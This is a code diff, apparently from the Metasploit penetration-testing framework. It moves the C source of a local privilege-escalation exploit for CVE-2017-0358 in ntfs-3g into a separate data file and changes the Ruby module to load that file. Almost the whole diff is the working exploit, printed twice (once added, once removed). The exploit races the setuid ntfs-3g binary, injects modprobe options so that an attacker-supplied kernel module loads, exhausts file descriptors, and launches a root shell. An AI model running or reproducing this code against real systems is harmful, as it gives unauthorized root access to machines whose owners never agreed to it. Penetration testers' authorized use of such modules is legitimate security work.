diff --git a/data/exploits/CVE-2017-0358/sploit.c b/data/exploits/CVE-2017-0358/sploit.c new file mode 100644 index 0000000000..80d0db6004 --- /dev/null +++ b/data/exploits/CVE-2017-0358/sploit.c @@ -0,0 +1,196 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(void) { + /* prevent shell from backgrounding ntfs-3g when stopped */ + pid_t initial_fork_child = fork(); + if (initial_fork_child == -1) + err(1, "initial fork"); + if (initial_fork_child != 0) { + int status; + if (waitpid(initial_fork_child, &status, 0) != initial_fork_child) + err(1, "waitpid"); + execl("rootshell", "rootshell", NULL); + exit(0); + } + + char buf[1000] = {0}; + // Set up workspace with volume, mountpoint, modprobe config and module directory. + char template[] = "/tmp/ntfs_sploit.XXXXXX"; + if (mkdtemp(template) == NULL) + err(1, "mkdtemp"); + char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100]; + sprintf(volume, "%s/volume", template); + sprintf(mountpoint, "%s/mountpoint", template); + sprintf(modprobe_confdir, "%s/modprobe.d", template); + sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir); + if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777)) + err(1, "mkdir"); + int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666); + if (conffd == -1) + err(1, "open modprobe config"); + int suidfile_fd = open("rootshell", O_RDONLY); + if (suidfile_fd == -1) + err(1, "unable to open ./rootshell"); + char modprobe_config[200]; + sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd); + if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config)) + errx(1, "modprobe config write failed"); + close(conffd); + // module directory setup + char system_cmd[1000]; + sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/", + template, template); + if (system(system_cmd)) + errx(1, "shell command failed"); + + // Set up inotify watch for /proc/mounts. + // Note: /proc/mounts is a symlink to /proc/self/mounts, so + // the watch will only see accesses by this process. + int inotify_fd = inotify_init1(IN_CLOEXEC); + if (inotify_fd == -1) + err(1, "unable to create inotify fd?"); + if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1) + err(1, "unable to watch /proc/mounts"); + + // Set up inotify watch for /proc/filesystems. + // This can be used to detect whether we lost the race. + int fs_inotify_fd = inotify_init1(IN_CLOEXEC); + if (fs_inotify_fd == -1) + err(1, "unable to create inotify fd?"); + if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1) + err(1, "unable to watch /proc/filesystems"); + + // Set up inotify watch for /sbin/modprobe. + // This can be used to detect when we can release all our open files. + int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC); + if (modprobe_inotify_fd == -1) + err(1, "unable to create inotify fd?"); + if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1) + err(1, "unable to watch /sbin/modprobe"); + + int do_exec_pipe[2]; + if (pipe2(do_exec_pipe, O_CLOEXEC)) + err(1, "pipe"); + pid_t child = fork(); + if (child == -1) + err(1, "fork"); + if (child != 0) { + if (read(do_exec_pipe[0], buf, 1) != 1) + errx(1, "pipe read failed"); + char modprobe_opts[300]; + sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template); + setenv("MODPROBE_OPTIONS", modprobe_opts, 1); + execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL); + } + child = getpid(); + + // Now launch ntfs-3g and wait until it opens /proc/mounts + if (write(do_exec_pipe[1], buf, 1) != 1) + errx(1, "pipe write failed"); + + if (read(inotify_fd, buf, sizeof(buf)) <= 0) + errx(1, "inotify read failed"); + if (kill(getppid(), SIGSTOP)) + err(1, "can't stop setuid parent"); + + // Check whether we won the main race. + struct pollfd poll_fds[1] = {{ + .fd = fs_inotify_fd, + .events = POLLIN + }}; + int poll_res = poll(poll_fds, 1, 100); + if (poll_res == -1) + err(1, "poll"); + if (poll_res == 1) { + puts("looks like we lost the race"); + if (kill(getppid(), SIGKILL)) + perror("SIGKILL after lost race"); + char rm_cmd[100]; + sprintf(rm_cmd, "rm -rf %s", template); + system(rm_cmd); + exit(1); + } + puts("looks like we won the race"); + + // Open as many files as possible. Whenever we have + // a bunch of open files, move them into a new process. + int total_open_files = 0; + while (1) { + #define LIMIT 500 + int open_files[LIMIT]; + bool reached_limit = false; + int n_open_files; + for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) { + open_files[n_open_files] = eventfd(0, 0); + if (open_files[n_open_files] == -1) { + if (errno != ENFILE) + err(1, "eventfd() failed"); + printf("got ENFILE at %d total\n", total_open_files); + reached_limit = true; + break; + } + total_open_files++; + } + pid_t fd_stasher_child = fork(); + if (fd_stasher_child == -1) + err(1, "fork (for eventfd holder)"); + if (fd_stasher_child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + // close PR_SET_PDEATHSIG race window + if (getppid() != child) raise(SIGKILL); + while (1) pause(); + } + for (int i = 0; i < n_open_files; i++) + close(open_files[i]); + if (reached_limit) + break; + } + + // Wake up ntfs-3g and keep allocating files, then free up + // the files as soon as we're reasonably certain that either + // modprobe was spawned or the attack failed. + if (kill(getppid(), SIGCONT)) + err(1, "SIGCONT"); + + time_t start_time = time(NULL); + while (1) { + for (int i=0; i<1000; i++) { + int efd = eventfd(0, 0); + if (efd == -1 && errno != ENFILE) + err(1, "gapfiller eventfd() failed unexpectedly"); + } + struct pollfd modprobe_poll_fds[1] = {{ + .fd = modprobe_inotify_fd, + .events = POLLIN + }}; + int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0); + if (modprobe_poll_res == -1) + err(1, "poll"); + if (modprobe_poll_res == 1) { + puts("yay, modprobe ran!"); + exit(0); + } + if (time(NULL) > start_time + 3) { + puts("modprobe didn't run?"); + exit(1); + } + } +} diff --git a/modules/exploits/linux/local/ntfs3g_priv_esc.rb b/modules/exploits/linux/local/ntfs3g_priv_esc.rb index 8186641199..c77de2e172 100644 --- a/modules/exploits/linux/local/ntfs3g_priv_esc.rb +++ b/modules/exploits/linux/local/ntfs3g_priv_esc.rb @@ -176,204 +176,11 @@ class MetasploitModule < Msf::Exploit::Local } } - sploit = %q{ - #define _GNU_SOURCE - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - int main(void) { - /* prevent shell from backgrounding ntfs-3g when stopped */ - pid_t initial_fork_child = fork(); - if (initial_fork_child == -1) - err(1, "initial fork"); - if (initial_fork_child != 0) { - int status; - if (waitpid(initial_fork_child, &status, 0) != initial_fork_child) - err(1, "waitpid"); - execl("rootshell", "rootshell", NULL); - exit(0); - } - - char buf[1000] = {0}; - // Set up workspace with volume, mountpoint, modprobe config and module directory. - char template[] = "/tmp/ntfs_sploit.XXXXXX"; - if (mkdtemp(template) == NULL) - err(1, "mkdtemp"); - char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100]; - sprintf(volume, "%s/volume", template); - sprintf(mountpoint, "%s/mountpoint", template); - sprintf(modprobe_confdir, "%s/modprobe.d", template); - sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir); - if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777)) - err(1, "mkdir"); - int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666); - if (conffd == -1) - err(1, "open modprobe config"); - int suidfile_fd = open("rootshell", O_RDONLY); - if (suidfile_fd == -1) - err(1, "unable to open ./rootshell"); - char modprobe_config[200]; - sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd); - if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config)) - errx(1, "modprobe config write failed"); - close(conffd); - // module directory setup - char system_cmd[1000]; - sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/", - template, template); - if (system(system_cmd)) - errx(1, "shell command failed"); - - // Set up inotify watch for /proc/mounts. - // Note: /proc/mounts is a symlink to /proc/self/mounts, so - // the watch will only see accesses by this process. - int inotify_fd = inotify_init1(IN_CLOEXEC); - if (inotify_fd == -1) - err(1, "unable to create inotify fd?"); - if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1) - err(1, "unable to watch /proc/mounts"); - - // Set up inotify watch for /proc/filesystems. - // This can be used to detect whether we lost the race. - int fs_inotify_fd = inotify_init1(IN_CLOEXEC); - if (fs_inotify_fd == -1) - err(1, "unable to create inotify fd?"); - if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1) - err(1, "unable to watch /proc/filesystems"); - - // Set up inotify watch for /sbin/modprobe. - // This can be used to detect when we can release all our open files. - int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC); - if (modprobe_inotify_fd == -1) - err(1, "unable to create inotify fd?"); - if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1) - err(1, "unable to watch /sbin/modprobe"); - - int do_exec_pipe[2]; - if (pipe2(do_exec_pipe, O_CLOEXEC)) - err(1, "pipe"); - pid_t child = fork(); - if (child == -1) - err(1, "fork"); - if (child != 0) { - if (read(do_exec_pipe[0], buf, 1) != 1) - errx(1, "pipe read failed"); - char modprobe_opts[300]; - sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template); - setenv("MODPROBE_OPTIONS", modprobe_opts, 1); - execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL); - } - child = getpid(); - - // Now launch ntfs-3g and wait until it opens /proc/mounts - if (write(do_exec_pipe[1], buf, 1) != 1) - errx(1, "pipe write failed"); - - if (read(inotify_fd, buf, sizeof(buf)) <= 0) - errx(1, "inotify read failed"); - if (kill(getppid(), SIGSTOP)) - err(1, "can't stop setuid parent"); - - // Check whether we won the main race. - struct pollfd poll_fds[1] = {{ - .fd = fs_inotify_fd, - .events = POLLIN - }}; - int poll_res = poll(poll_fds, 1, 100); - if (poll_res == -1) - err(1, "poll"); - if (poll_res == 1) { - puts("looks like we lost the race"); - if (kill(getppid(), SIGKILL)) - perror("SIGKILL after lost race"); - char rm_cmd[100]; - sprintf(rm_cmd, "rm -rf %s", template); - system(rm_cmd); - exit(1); - } - puts("looks like we won the race"); - - // Open as many files as possible. Whenever we have - // a bunch of open files, move them into a new process. - int total_open_files = 0; - while (1) { - #define LIMIT 500 - int open_files[LIMIT]; - bool reached_limit = false; - int n_open_files; - for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) { - open_files[n_open_files] = eventfd(0, 0); - if (open_files[n_open_files] == -1) { - if (errno != ENFILE) - err(1, "eventfd() failed"); - printf("got ENFILE at %d total\n", total_open_files); - reached_limit = true; - break; - } - total_open_files++; - } - pid_t fd_stasher_child = fork(); - if (fd_stasher_child == -1) - err(1, "fork (for eventfd holder)"); - if (fd_stasher_child == 0) { - prctl(PR_SET_PDEATHSIG, SIGKILL); - // close PR_SET_PDEATHSIG race window - if (getppid() != child) raise(SIGKILL); - while (1) pause(); - } - for (int i = 0; i < n_open_files; i++) - close(open_files[i]); - if (reached_limit) - break; - } - - // Wake up ntfs-3g and keep allocating files, then free up - // the files as soon as we're reasonably certain that either - // modprobe was spawned or the attack failed. - if (kill(getppid(), SIGCONT)) - err(1, "SIGCONT"); - - time_t start_time = time(NULL); - while (1) { - for (int i=0; i<1000; i++) { - int efd = eventfd(0, 0); - if (efd == -1 && errno != ENFILE) - err(1, "gapfiller eventfd() failed unexpectedly"); - } - struct pollfd modprobe_poll_fds[1] = {{ - .fd = modprobe_inotify_fd, - .events = POLLIN - }}; - int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0); - if (modprobe_poll_res == -1) - err(1, "poll"); - if (modprobe_poll_res == 1) { - puts("yay, modprobe ran!"); - exit(0); - } - if (time(NULL) > start_time + 3) { - puts("modprobe didn't run?"); - exit(1); - } - } - } - } + # we moved sploit.c off since it was so big to the external sources folder + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c') + fd = ::File.open( path, "rb") + sploit = fd.read(fd.stat.size) + fd.close rootmod_filename = 'rootmod' rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"